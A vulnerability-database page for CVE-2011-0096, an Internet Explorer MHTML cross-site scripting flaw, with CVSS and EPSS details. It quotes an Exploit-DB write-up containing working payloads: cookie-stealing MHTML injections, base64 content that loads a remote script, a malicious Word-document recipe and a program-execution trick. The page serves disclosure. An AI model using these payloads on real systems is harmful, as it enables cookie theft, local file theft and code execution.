CVE-2011-0096 Detail

CVE-2011-0096

Score / Severity

6.1

Medium

CVE Descriptions

The MHTML protocol handler in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, R2, and R2 SP1, and Windows 7 Gold and SP1 does not properly handle a MIME format in a request for content blocks in a document, which allows remote attackers to conduct cross-site scripting (XSS) attacks via a crafted web site that is visited in Internet Explorer, aka "MHTML Mime-Formatted Request Vulnerability."

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.1	6.1	MEDIUM	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. Required Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Changed An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. Low There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the impacted component. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Low Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact on the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. None There is no impact to availability within the impacted component. Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	134c704f-9b21-4f2e-91b3-4a467353bcc0
V2	4.3		AV:N/AC:M/Au:N/C:N/I:P/A:N	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 16071

Publication date : 2011-01-28 23h00 +00:00
Author : 80vul
EDB Verified : Yes

Hacking with mhtml protocol handler Author: www.80vul.com [Email:5up3rh3i#gmail.com] Release Date: 2011/1/15 References: http://www.80vul.com/mhtml/Hacking%20with%20mhtml%20protocol%20handler.txt Ph4nt0m Webzine 0x05 (http://secinn.appspot.com/pstzine) Was finally released yesterday, There are two articles about the browser security[0x05 and 0x06].If the combination of both, we can complete a lot of interesting attacks... 1.Cross Site Scripting by upload mhtml file Using the mhtml protocol handler,The file extension is ignored.so the attacker use renname the mhtml file to a *.jpg file,etc. then upload it to the target site... ofcouser ,we can use "copy /b 1.jpg + 1.mhtml 2.jpg" to bypass some upload file format security restrictions then use iframe tag src to it: <iframe src="MHTML:http://target-site.com/upfile/demo.html!cookie"></iframe> 2.Cross Site Scripting mhtml-file string injection the mhtml-file format is only base on CRLF,so if we can injection CRLF, the site may be attacked. poc: test it on win7 system pls. <iframe src="mhtml:http://www.tudou.com/my/channel/item.srv?icode=enQCgQKJTDs&callback=Content-Type%3A%20multipart%2Frelated%3B%20boundary%3D_boundary_by_mere%0D%0A%0D%0A--_boundary_by_mere%0D%0AContent-Location%3Acookie%0D%0AContent-Transfer-Encoding%3Abase64%0D%0A%0D%0APGJvZHk%2BDQo8aWZyYW1lIGlkPWlmciBzcmM9Imh0dHA6Ly93d3cuODB2dWwuY29tLyI%2BPC9pZnJhbWU%2BDQo8c2NyaXB0Pg0KYWxlcnQoZG9jdW1lbnQuY29va2llKTsNCmZ1bmN0aW9uIGNyb3NzY29va2llKCl7DQppZnIgPSBpZnIuY29udGVudFdpbmRvdyA%2FIGlmci5jb250ZW50V2luZG93IDogaWZyLmNvbnRlbnREb2N1bWVudDsNCmFsZXJ0KGlmci5kb2N1bWVudC5jb29raWUpDQp9DQpzZXRUaW1lb3V0KCJjcm9zc2Nvb2tpZSgpIiwxMDAwKTsNCjwvc2NyaXB0PjwvYm9keT4NCg%3D%3D%0D%0A--_boundary_by_mere--%0D%0A!cookie"></iframe> if win-xp or win2k3 system,pls do it by the second urlencode. mhtml-file string injection in JOSN file, some sites restrict the JOSN file's Content-Type to defense xss. maybe we can use mhtml-file string injection to pass it :) 3.bypass X-Frame-Options X-Frame-Options did not protect the mhtml protocol handler. the demo: <iframe src="mhtml:http://www.80vul.com/mhtml/zz.php!cookie"></iframe> <iframe src="http://www.80vul.com/mhtml/zz.php"></iframe> 4.mhtml+file://uncpath+Adobe Reader 9 == local xss vul Billy (BK) Rios introduced a very interesting approach to Steal local files on the RuxCon/Baythreat(https://xs-sniper.com/blog/2010/12/17/will-it-blend/) ,it used "Script src to local files in the LocalLow directory" by file:// +java apple +Adobe Reader+Adobe flash to complete it. but if used mhtml+file://uncpath, so easy to do it. Demo: test it on win2k3+ie8+Adobe Reader 9 http://www.80vul.com/hackgame/xs-g0.php?username=Administrator 5.mhtml+file://uncpath+word == local xss vul demo:http://www.80vul.com/mhtml/word.doc download it, and save it on c:\word.doc and open it. u can get the alert c:\boot.ini 's content. this is base on "Microsoft word javascript execution"(http://marc.info/?l=bugtraq&m=121121432823704&w=2). to make the proof of concept follow the following steps: 1-Make a html file and paste xss code 2-Open the html file with the word and save as c:\word.xml 3-Open the word.xml with the notepad,and inject the mhtml code in <w:t>aaaaa </w:t> 4-Rename c:\word.xml to c:\word.doc 5-Open c:\word.doc file xss code --------------------------------------------------------- <html><OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=http://www.80vul.com/hackgame/word.htm></OBJECT> aaaaa ---------------------------------------------------------- mhtml code -------------------------------------------------------- /* Content-Type: multipart/related; boundary="_boundary_by_mere": --_boundary_by_mere Content-Location:cookie Content-Transfer-Encoding:base64 PGJvZHk+DQo8c2NyaXB0IHNyYz0naHR0cDovL3d3dy44MHZ1bC5jb20vaGFja2dhbWUvZ28uanMnPjwvc2NyaXB0Pg0KPC9ib2R5Pg0K --_boundary_by_mere-- */ -------------------------------------------------------- if u use this vul to attack someone,u need to known the word file path where save the download file. and lots of guns used on the desktop :) "Microsoft word javascript execution" is only work on office 2k3 and 2k7, In other versions u can make the link, and src to http://www.80vul.com/hackgame/word.htm update ofcouse ,this way maybe work on anoher file type like:*.pdf by app.launchURL() 6. Coss Zone Scripting First we would like to mention a very old vulnerability: <OBJECT CLASSID=CLSID:12345678-1234-4321-1234-111111111111 CODEBASE=c:/winnt/system32/calc.exe></OBJECT> This vulnerability (by firebug9[http://hi.baidu.com/firebug9/blog/item/b7627c4624cd880f6a63e5e7.html]) allows you to execute any program on "My Computer" zone,Been tested and found to this vul work on ie6/ie7/ie8+win2k/winxp/win2k3 Then repeat "5.mhtml+file://uncpath+word == local xss vul" steps and change: xss code --------------------------------------------------------- <html><OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=mhtml:file://c:/word.doc!cookie></OBJECT> aaaaa ---------------------------------------------------------- mhtml code -------------------------------------------------------- /* Content-Type: multipart/related; boundary="_boundary_by_mere": --_boundary_by_mere Content-Location:cookie Content-Transfer-Encoding:base64 PE9CSkVDVCBDTEFTU0lEPUNMU0lEOjEyMzQ1Njc4LTEyMzQtNDMyMS0xMjM0LTExMTExMTExMTExMSBDT0RFQkFTRT1jOi93aW5kb3dzL3N5c3RlbTMyL2NhbGMuZXhlPjwvT0JKRUNUPg== --_boundary_by_mere-- */ -------------------------------------------------------- thx d4rkwind(http://hi.baidu.com/d4rkwind/) for his excellent paper. About Ph4nt0m Webzine Ph4nt0m Webzine is a free network Security Magazine,We accept articles in English and Chinese, you are welcome contributions . mailto:root_at_ph4nt0m.org pls.thank you!